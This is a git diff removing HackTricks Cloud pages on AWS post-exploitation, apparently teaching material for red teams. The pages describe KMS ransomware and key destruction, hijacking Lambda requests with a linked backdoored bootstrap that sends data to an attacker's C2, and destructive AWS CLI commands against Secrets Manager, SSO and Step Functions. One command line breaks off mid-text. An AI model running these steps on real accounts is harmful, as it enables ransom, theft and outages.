- --policy file:///tmp/policy.yaml \
- --bypass-policy-lockout-safety-check
-
-{
- "Id": "key-consolepolicy-3",
- "Version": "2012-10-17",
- "Statement": [
- {
- "Sid": "Enable IAM User Permissions",
- "Effect": "Allow",
- "Principal": {
- "AWS": "arn:aws:iam:::root"
- },
- "Action": "kms:*",
- "Resource": "*"
- }
- ]
-}
-```
-
-{% hint style="danger" %}
-Note that if you change that policy and only give access to an external account, and then from this external account you try to set a new policy to **give the access back to original account, you won't be able**.
-{% endhint %}
-
-
-
-### Generic KMS Ransomware
-
-#### Global KMS Ransomware
-
-There is another way to perform a global KMS Ransomware, which would involve the following steps:
-
-* Create a new **key with a key material** imported by the attacker
-* **Re-encrypt older data** encrypted with the previous version with the new one.
-* **Delete the KMS key**
-* Now only the attacker, who has the original key material could be able to decrypt the encrypted data
-
-### Destroy keys
-
-```bash
-# Destoy they key material previously imported making the key useless
-aws kms delete-imported-key-material --key-id 1234abcd-12ab-34cd-56ef-1234567890ab
-
-# Schedule the destoy of a key (min wait time is 7 days)
-aws kms schedule-key-deletion \
- --key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
- --pending-window-in-days 7
-```
-
-{% hint style="danger" %}
-Note that AWS now **prevents the previous actions from being performed from a cross account:**
-{% endhint %}
-
-
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md b/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md
deleted file mode 100644
index f7bea8e86..000000000
--- a/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md
+++ /dev/null
@@ -1,55 +0,0 @@
-# AWS - Lambda Post Exploitation
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
-
-## Lambda
-
-For more information check:
-
-{% content-ref url="../../aws-services/aws-lambda-enum.md" %}
-[aws-lambda-enum.md](../../aws-services/aws-lambda-enum.md)
-{% endcontent-ref %}
-
-### Steal Others Lambda URL Requests
-
-If an attacker somehow manage to get RCE inside a Lambda he will be able to steal other users HTTP requests to the lambda. If the requests contain sensitive information (cookies, credentials...) he will be able to steal them.
-
-{% content-ref url="aws-warm-lambda-persistence.md" %}
-[aws-warm-lambda-persistence.md](aws-warm-lambda-persistence.md)
-{% endcontent-ref %}
-
-### Steal Others Lambda URL Requests & Extensions Requests
-
-Abusing Lambda Layers it's also possible to abuse extensions and persist in the lambda but also steal and modify requests.
-
-{% content-ref url="../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md" %}
-[aws-abusing-lambda-extensions.md](../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md)
-{% endcontent-ref %}
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md b/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
deleted file mode 100644
index 94ea21684..000000000
--- a/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
+++ /dev/null
@@ -1,89 +0,0 @@
-# AWS - Steal Lambda Requests
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
-
-## Lambda Flow
-
-
-
-1. **Slicer** is a process outside the container that **send** **invocations** to the **init** process.
-2. The init process listens on port **9001** exposing some interesting endpoints:
- * **`/2018-06-01/runtime/invocation/next`** – get the next invocation event
- * **`/2018-06-01/runtime/invocation/{invoke-id}/response`** – return the handler response for the invoke
- * **`/2018-06-01/runtime/invocation/{invoke-id}/error`** – return an execution error
-3. **bootstrap.py** has a loop getting invocations from the init process and calls the users code to handle them (**`/next`**).
-4. Finally, **bootstrap.py** sends to init the **response**
-
-Note that bootstrap loads the user code as a module, so any code execution performed by the users code is actually happening in this process.
-
-## Stealing Lambda Requests
-
-The goal of this attack is to make the users code execute a malicious **`bootstrap.py`** process inside the **`bootstrap.py`** process that handle the vulnerable request. This way, the **malicious bootstrap** process will start **talking with the init process** to handle the requests while the **legit** bootstrap is **trapped** running the malicious one, so it won't ask for requests to the init process.
-
-This is a simple task to achieve as the code of the user is being executed by the legit **`bootstrap.py`** process. So the attacker could:
-
-* **Send a fake result of the current invocation to the init process**, so init thinks the bootstrap process is waiting for more invocations.
- * A request must be sent to **`/${invoke-id}/response`**
- * The invoke-id can be obtained from the stack of the legit **`bootstrap.py`** process using the [**inspect**](https://docs.python.org/3/library/inspect.html) python module (as [proposed here](https://github.com/twistlock/lambda-persistency-poc/blob/master/poc/switch_runtime.py)) or just requesting it again to **`/2018-06-01/runtime/invocation/next`** (as [proposed here](https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py)).
-* Execute a malicious **`boostrap.py`** which will handle the next invocations
- * For stealthiness purposes it's possible to send the lambda invocations parameters to an attackers controlled C2 and then handle the requests as usual.
- * For this attack, it's enough to get the original code of **`bootstrap.py`** from the system or [**github**](https://github.com/aws/aws-lambda-python-runtime-interface-client/blob/main/awslambdaric/bootstrap.py), add the malicious code and run it from the current lambda invocation.
-
-### Attack Steps
-
-1. Find a **RCE** vulnerability.
-2. Generate a **malicious** **bootstrap** (e.g. [https://raw.githubusercontent.com/carlospolop/lambda\_bootstrap\_switcher/main/backdoored\_bootstrap.py](https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py))
-3. **Execute** the malicious bootstrap.
-
-You can easily perform these actions running:
-
-```bash
-python3 <[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md b/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md
deleted file mode 100644
index db17d6d72..000000000
--- a/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md
+++ /dev/null
@@ -1,56 +0,0 @@
-# AWS - Lightsail Post Exploitation
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
-
-## Lightsail
-
-For more information, check:
-
-{% content-ref url="../aws-services/aws-lightsail-enum.md" %}
-[aws-lightsail-enum.md](../aws-services/aws-lightsail-enum.md)
-{% endcontent-ref %}
-
-### Restore old DB snapshots
-
-If the DB is having snapshots, you might be able to **find sensitive information currently deleted in old snapshots**. **Restore** the snapshot in a **new database** and check it.
-
-### Restore Instance Snapshots
-
-Instance snapshots might contain **sensitive information** of already deleted instances or sensitive info that is deleted in the current instance. **Create new instances from the snapshots** and check them.\
-Or **export the snapshot to an AMI in EC2** and follow the steps of a typical EC2 instance.
-
-### Access Sensitive Information
-
-Check out the Lightsail privesc options to learn different ways to access potential sensitive information:
-
-{% content-ref url="../aws-privilege-escalation/aws-lightsail-privesc.md" %}
-[aws-lightsail-privesc.md](../aws-privilege-escalation/aws-lightsail-privesc.md)
-{% endcontent-ref %}
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md b/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md
deleted file mode 100644
index 9bd9c70bb..000000000
--- a/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md
+++ /dev/null
@@ -1,47 +0,0 @@
-# AWS - Organizations Post Exploitation
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
-
-## Organizations
-
-For more info about AWS Organizations check:
-
-{% content-ref url="../aws-services/aws-organizations-enum.md" %}
-[aws-organizations-enum.md](../aws-services/aws-organizations-enum.md)
-{% endcontent-ref %}
-
-### Leave the Org
-
-{% code overflow="wrap" %}
-```bash
-aws organizations deregister-account --account-id --region
-```
-{% endcode %}
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md b/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md
deleted file mode 100644
index cc0591b88..000000000
--- a/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md
+++ /dev/null
@@ -1,76 +0,0 @@
-# AWS - Secrets Manager Post Exploitation
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
-
-## Secrets Manager
-
-For more information check:
-
-{% content-ref url="../aws-services/aws-secrets-manager-enum.md" %}
-[aws-secrets-manager-enum.md](../aws-services/aws-secrets-manager-enum.md)
-{% endcontent-ref %}
-
-### Read Secrets
-
-The **secrets themself are sensitive information**, [check the privesc page](../aws-privilege-escalation/aws-secrets-manager-privesc.md) to learn how to read them.
-
-### DoS Change Secret Value
-
-Changing the value of the secret you could **DoS all the system that depends on that value.**
-
-{% hint style="warning" %}
-Note that previous values are also stored, so it's easy to just go back to the previous value.
-{% endhint %}
-
-```bash
-# Requires permission secretsmanager:PutSecretValue
-aws secretsmanager put-secret-value \
- --secret-id MyTestSecret \
- --secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}"
-```
-
-### DoS Change KMS key
-
-```bash
-aws secretsmanager update-secret \
- --secret-id MyTestSecret \
- --kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE
-```
-
-### DoS Deleting Secret
-
-The minimum number of days to delete a secret are 7
-
-```bash
-aws secretsmanager delete-secret \
- --secret-id MyTestSecret \
- --recovery-window-in-days 7
-```
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md b/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md
deleted file mode 100644
index 6e41ef586..000000000
--- a/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md
+++ /dev/null
@@ -1,117 +0,0 @@
-# AWS - SES Post Exploitation
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
-
-## SES
-
-For more information check:
-
-{% content-ref url="../aws-services/aws-ses-enum.md" %}
-[aws-ses-enum.md](../aws-services/aws-ses-enum.md)
-{% endcontent-ref %}
-
-### `ses:SendEmail`
-
-Send an email.
-
-{% code overflow="wrap" %}
-```bash
-aws ses send-email --from sender@example.com --destination file://emails.json --message file://message.json
-aws sesv2 send-email --from sender@example.com --destination file://emails.json --message file://message.json
-```
-{% endcode %}
-
-Still to test.
-
-### `ses:SendRawEmail`
-
-Send an email.
-
-```bash
-aws ses send-raw-email --raw-message file://message.json
-```
-
-Still to test.
-
-### `ses:SendTemplatedEmail`
-
-Send an email based on a template.
-
-{% code overflow="wrap" %}
-```bash
-aws ses send-templated-email --source --destination --template
-```
-{% endcode %}
-
-Still to test.
-
-### `ses:SendBulkTemplatedEmail`
-
-Send an email to multiple destinations
-
-```bash
-aws ses send-bulk-templated-email --source --template
-```
-
-Still to test.
-
-### `ses:SendBulkEmail`
-
-Send an email to multiple destinations.
-
-```
-aws sesv2 send-bulk-email --default-content --bulk-email-entries
-```
-
-### `ses:SendBounce`
-
-Send a **bounce email** over a received email (indicating that the email couldn't be received). This can only be done **up to 24h after receiving** the email.
-
-{% code overflow="wrap" %}
-```bash
-aws ses send-bounce --original-message-id --bounce-sender --bounced-recipient-info-list
-```
-{% endcode %}
-
-Still to test.
-
-### `ses:SendCustomVerificationEmail`
-
-This will send a customized verification email. You might need permissions also to created the template email.
-
-{% code overflow="wrap" %}
-```bash
-aws ses send-custom-verification-email --email-address --template-name
-aws sesv2 send-custom-verification-email --email-address --template-name
-```
-{% endcode %}
-
-Still to test.
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md b/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md
deleted file mode 100644
index ccffb5ede..000000000
--- a/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md
+++ /dev/null
@@ -1,53 +0,0 @@
-# AWS - SSO & identitystore Post Exploitation
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
-
-## SSO & identitystore
-
-For more information check:
-
-{% content-ref url="../aws-services/aws-iam-enum.md" %}
-[aws-iam-enum.md](../aws-services/aws-iam-enum.md)
-{% endcontent-ref %}
-
-### `sso:DeletePermissionSet` | `sso:PutPermissionsBoundaryToPermissionSet` | `sso:DeleteAccountAssignment`
-
-These permissions can be used to disrupt permissions:
-
-{% code overflow="wrap" %}
-```bash
-aws sso-admin delete-permission-set --instance-arn --permission-set-arn
-
-aws sso-admin put-permissions-boundary-to-permission-set --instance-arn --permission-set-arn --permissions-boundary-policy-arn
-
-aws sso-admin delete-account-assignment --instance-arn --target-id --target-type --permission-set-arn --principal-type --principal-id
-```
-{% endcode %}
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md b/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md
deleted file mode 100644
index 67719fd73..000000000
--- a/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md
+++ /dev/null
@@ -1,105 +0,0 @@
-# AWS - Step Functions Post Exploitation
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
-
-## Step Functions
-
-For more information about this AWS service, check:
-
-{% content-ref url="../aws-services/aws-stepfunctions-enum.md" %}
-[aws-stepfunctions-enum.md](../aws-services/aws-stepfunctions-enum.md)
-{% endcontent-ref %}
-
-### `states:RevealSecrets`
-
-This permission allows to **reveal secret data inside an execution**. For it, it's needed to set Inspection level to TRACE and the revealSecrets parameter to true.
-
-
-
-### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias`
-
-An attacker with these permissions would be able to permanently delete state machines, their versions, and aliases. This can disrupt critical workflows, result in data loss, and require significant time to recover and restore the affected state machines. In addition, it would allow an attacker to cover the tracks used, disrupt forensic investigations, and potentially cripple operations by removing essential automation processes and state configurations.
-
-{% hint style="info" %}
-* Deleting a state machine you also delete all its associated versions and aliases.
-* Deleting a state machine alias you do not delete the state machine versions referecing this alias.
-* It is not possible to delete a state machine version currently referenced by one o more aliases.
-{% endhint %}
-
-```bash
-# Delete state machine
-aws stepfunctions delete-state-machine --state-machine-arn
-# Delete state machine version
-aws stepfunctions delete-state-machine-version --state-machine-version-arn
-# Delete state machine alias
-aws stepfunctions delete-state-machine-alias --state-machine-alias-arn
-```
-
-* **Potential Impact**: Disruption of critical workflows, data loss, and operational downtime.
-
-### `states:UpdateMapRun`
-
-An attacker with this permission would be able to manipulate the Map Run failure configuration and parallel setting, being able to increase or decrease the maximum number of child workflow executions allowed, affecting directly and performance of the service. In addition, an attacker could tamper with the tolerated failure percentage and count, being able to decrease this value to 0 so every time an item fails, the whole map run would fail, affecting directly to the state machine execution and potentially disrupting critical workflows.
-
-{% code overflow="wrap" %}
-```bash
-aws stepfunctions update-map-run --map-run-arn [--max-concurrency ] [--tolerated-failure-percentage ] [--tolerated-failure-count ]
-```
-{% endcode %}
-
-* **Potential Impact**: Performance degradation, and disruption of critical workflows.
-
-### `states:StopExecution`
-
-An attacker with this permission could be able to stop the execution of any state machine, disrupting ongoing workflows and processes. This could lead to incomplete transactions, halted business operations, and potential data corruption.
-
-{% hint style="warning" %}
-This action is not supported by **express state machines**.
-{% endhint %}
-
-{% code overflow="wrap" %}
-```bash
-aws stepfunctions stop-execution --execution-arn [--error ] [--cause ]
-```
-{% endcode %}
-
-* **Potential Impact**: Disruption of ongoing workflows, operational downtime, and potential data corruption.
-
-### `states:TagResource`, `states:UntagResource`
-
-An attacker could add, modify, or remove tags from Step Functions resources, disrupting your organization's cost allocation, resource tracking, and access control policies based on tags.
-
-```bash
-aws stepfunctions tag-resource --resource-arn --tags Key=,Value=
-aws stepfunctions untag-resource --resource-arn --tag-keys
-```
-
-**Potential Impact**: Disruption of cost allocation, resource tracking, and tag-based access control policies.
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md b/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md
deleted file mode 100644
index 4ca191307..000000000
--- a/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md
+++ /dev/null
@@ -1,39 +0,0 @@
-# AWS - VPN Post Exploitation
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
